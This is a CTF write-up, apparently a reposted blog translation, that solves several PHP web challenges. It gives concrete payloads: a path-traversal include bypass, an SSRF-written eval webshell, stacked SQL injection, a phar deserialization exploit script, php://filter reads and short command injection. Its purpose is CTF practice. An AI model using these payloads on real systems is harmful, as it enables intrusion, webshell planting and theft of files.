BMZCTF-Web WriteUp

Web questions

hctf_2018_warmup

hctf_2018_warmup
After opening it is a picture.
index.php
Check the source code to find the source.php
index source code
access and get a string of codes:

<?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
    
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

Analyze it:

<?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];#白名单
            if (! isset($page) || !is_string($page)) {
    
      
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
       #如果在白名单中,则返回true
                return true;
            }

            $_page = mb_substr(    #取?之前的内容赋给$_page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { #看$_page是否在白名单中
                return true;
            }

            $_page = urldecode($page);  #进行url编码
            $_page = mb_substr(    #取?之前的内容赋给$_page
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

Among them, two whitelist detections and one Url encoding were performed. First passed in the string source, hintfor testing.
Incoming sourcefound recurring source, indicating the presence of file read vulnerability,
passed hint, find a string flag not here, and flag in /flaaagg, suggesting that the flag /flaaagg中can /flaaaggnot in the white list.
Need to bypass the whitelist.
The strings that must be passed in are: hintor source, and /flaaagg, first pass in file=/flaaagg, and found that it cannot be read,
think of the question mark in the filter, construct the parameter pass hint?/flaaagg, pass in file=hint?/flaaagg, and find no echo. It may be that the file does not exist, so there is no response.
Use ../to cross directories, file=hint?../../../../../flaaaggand you can get the flag.
Principle: The
?previous content will be filtered by the whitelist, hint?..treated as a directory, and not treated as a file.

ssrfme

Open the webpage to see the source code:
Home source code
Analyze the source code:
the content of the incoming path cannot contain "...", and the content of the incoming file must start with'http://127.0.0.1/'.
Try to pass in file=http://127.0.0.1/&path=shell.php
First try

Echo that the file was successfully written. Visit and see what's inside.
First echo

See, I wrote the content of index.php. Explain that you can write files, try to write phpinfo:
file=http://127.0.0.1/<?php phpinfo();?>&path=shell.php
phpinfo

The return is empty. Explain that there is no such file as <?php phpinfo();?>. You can only put the content to be written in the Path parameter, but the path must pass the file name. A bit contradictory.
Try it first:
file=http://127.0.0.1/?path=<?php phpinfo();?>&path=shell.php
geeker

Description is there after 127.0.0.1? There must be a file parameter. Continue to build
file=http://127.0.0.1/ &path=<?php phpinfo();?>&path=shell.php
Insert picture description here

Although the writing was successful, the phpinfo in the middle was not written. Continue to build
file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=shell.php
Insert picture description here

Explanation%26path=<?php phpinfo();?> This file does not exist (phpinfo is interpreted as a file name), continue to build:
file=http://127.0.0.1/?file=http://127.0.0.1/ %26path=<?php phpinfo(); ?>&path=shell.php
Insert picture description here

Successfully written to phpinfo. (The first file is passed in file=http://127.0.0.1/index.php, and the second file is passed in phpinfo. The second file is passed as a parameter to the first file.)
Write a sentence:
file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=<?php! @eval($_GET['cmd']); ?>&path=shell.php
Insert picture description here

cmd is passed into system('cat /flag'); you can get flag

Strong Net Cup 2019

Open the web page, which is an input box:
Insert picture description here

Enter 1, and submit:
Insert picture description here

See the returned array, test whether there is an injection point: enter 1'
Insert picture description here

Return an error.
Enter 1'#
Insert picture description here

Return to normal
Try to inject manually:
1. Enter 1'order by *, and the test can return several columns. After multiple attempts, * is 2, that is: 1'order by 2 can return to normal.
Insert picture description here

Try to enter select again to test the return point: 1'union select 1,2 #
Insert picture description here

See a lot of characters being filtered. Trying sqlmap can only expose the library named supersqli
to try stack injection
input: 1'; show databases; #
Insert picture description here

After seeing the returned library name,
take a look at the table names: 1';show tables; #
Insert picture description here

There are two tables: flag and words
respectively to see which columns are: 1';show columns from flagg #
Insert picture description here

Seeing that we want the flag column. Here is how to read the content inside.
Select is filtered and cannot be queried normally. Only query statements can be spliced:
-1';use supersqli;set @sql=concat('s','elect flagfrom flagg');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
Insert picture description here

Get the flag.

hitcon_2017_ssrfme

After opening the web page is a piece of code:
Insert picture description here

Seeing escapeshellarg, I thought of the command execution vulnerability. When escapeshellarg is in the parameter position, filtering will not work. In the penultimate line of file_put_contents, escapeshellarg is placed in the parameter position. Therefore, you can order execution.
The top code is to create a sandbox. And create a folder below. The folder name is orange plus the md5 value of the visitor's ip address. Ip address can be queried through ip138.

We first enter:?url=…/&filename=123
and then visit sandbox/8411192b0e571e9d15a9b3a080de90d0/123. You can see that the directory structure of .../ is returned:
Insert picture description here

So enter:?url=/&filename=123. Let it echo the root directory structure:
Insert picture description here

We saw the flag file. Is what we want to visit.
Continue typing:?url=/flag&filename=123
Insert picture description here

I got a picture, don’t know what it is, use curl to visit it:
Insert picture description here

Got the flag

n1ctf/hard_php

The open page is a login box with a verification code.
Insert picture description here

To perform a directory scan:
Insert picture description here

Find index.php~, visit:
Insert picture description here

You can see that the source code
Action parameter can access files, try.../.../.../.../etc/passwd to see if you can access through directories:
Insert picture description here

See you can visit, try again.../.../.../.../flag
Insert picture description here

Got the flag

hctf_cake_php

After opening the webpage, it is a login box. There is registration below. First, just register an account and log in. It is found that it is a network disk.
Insert picture description here
Try to upload the file and find that the suffix is ​​filtered.
Insert picture description here
Click to download and capture the package:
modify the file name to'/var/www/html/index.php' and
find that the file can be downloaded. Download index.php first and view the source code.

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

In the source code, I also saw login.php and class.php downloaded separately, and check the source code:
Login.php:

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<!doctype html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>登录</title>

  <!-- Bootstrap core CSS -->
  <link href="static/css/bootstrap.min.css" rel="stylesheet">


  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
  <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
  </form>
  <div class="top" id="toast-container"></div>
</body>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

Class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

Then download download.php and delete.php that you can see on the homepage, and check the source code:
Download.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

Delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

In download.php, the flag is filtered and cannot be viewed directly. And the directory is specified. /etc/tmp
In delete.php, the directory is specified as the root directory of the sandbox.
In class.php, the close method will include files.
The close method is called in download.php, but the flag is filtered, which is not easy to read. Being not.
The Filelist class in Class.php has two magic functions: function __call and function __destruct().
function __call will traverse the files data and execute func(). The result will be printed out through the __destruct() method.
There is a close method in the User class, and this method is executed when the object is destroyed.
Therefore, if you can create a user object, its db variable is a FileList object, and the file name in the object is the location of the flag. In this case, when the user object is destroyed, the close method of the db variable is executed; and the db variable does not have a close method, which will trigger the call magic method, and then become the close method of the File object. By analyzing the destructor method of the FileList class, we can know that the results in the results variable after the close method is executed will be added to the table variable and printed out, that is, the flag will be printed out.
Use phar for deserialization

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

Modify the suffix to jpg, then upload the file, capture the package when deleting, and then modify the file name and execute, you can get the flag:
Insert picture description here

SCTF 2018_Simple PHP

After opening the webpage, it is a login box
Insert picture description here

The directory scan did not produce any results, and the use of sqlmpay did not result, and the admin blasting did not result. Finally, I tried the php pseudo-protocol. You can use the filter base64 to read the /flag file:
Insert picture description here

After Base64 decryption, you get the flag

Insert picture description here

2018_Netding Cup_Comment

Open the webpage and find it is a message board.
Insert picture description here
Try to post, need to log in:
Insert picture description here
According to the prompt, blast the password:
Insert picture description here
*** The location is 666,
try xss, to no avail:

Insert picture description here
Will filter, simply try to bypass it to no avail.
Try a second injection.
No results in the title position of the post.
Insert picture description here
Insert picture description here
Try the category position:
Insert picture description here
Reply in the message position */#has no response.
Try the content position:
Insert picture description here
Insert picture description here
So there may be injection into the category
. Try again.
Insert picture description here
Enter in the message, 456*/#
Insert picture description here
you can see that the echo is 123 instead of the value just entered. There can be an echo. Try to read the database:
Insert picture description here
enter in the message: */#
Insert picture description here
you can see that the database is returned ctf, and you can execute the sql statement.
Try to read the file and type
Insert picture description here
in the message: */#
Insert picture description here
you can see the flag

rcee

Open the web page, you can see that the source code
Insert picture description here
has command execution, but the length is less than 8.
First look for flag. First search in the root directory: enter?command=ls /

Insert picture description here
You can see that the flag is in the root directory.
Make a visit:

Insert picture description here
There is no echo. Because the space is treated %20as 3 characters, the length of the command to be executed exceeds 8.
Use *instead, enter: ?command=cat /f*
Insert picture description here
you can see that all the file contents of the f switch are displayed. You can also see the flag

sqli_double

Open the page to see the source code:
Insert picture description here
there are two pages, one is to modify the password (you need to know the user name and email), and the other is the login page.
Because we don’t know the user name and email
Insert picture description here
address , first try the login page: the echo prompts that the login failed, we don’t know whether the password or the user name is wrong, try to use sqlmap to blast:
Insert picture description here
Insert picture description here
you can see that the database type is mysql
explosion database:
Insert picture description here
Explosive table:
Insert picture description here
Explosive content:
Insert picture description here
Now that we know the user name and email address, we can modify the password. Log in after changing the password and you can see the flag:
Insert picture description here

Guess you like

Origin blog.csdn.net/Crazy198410/article/details/109711622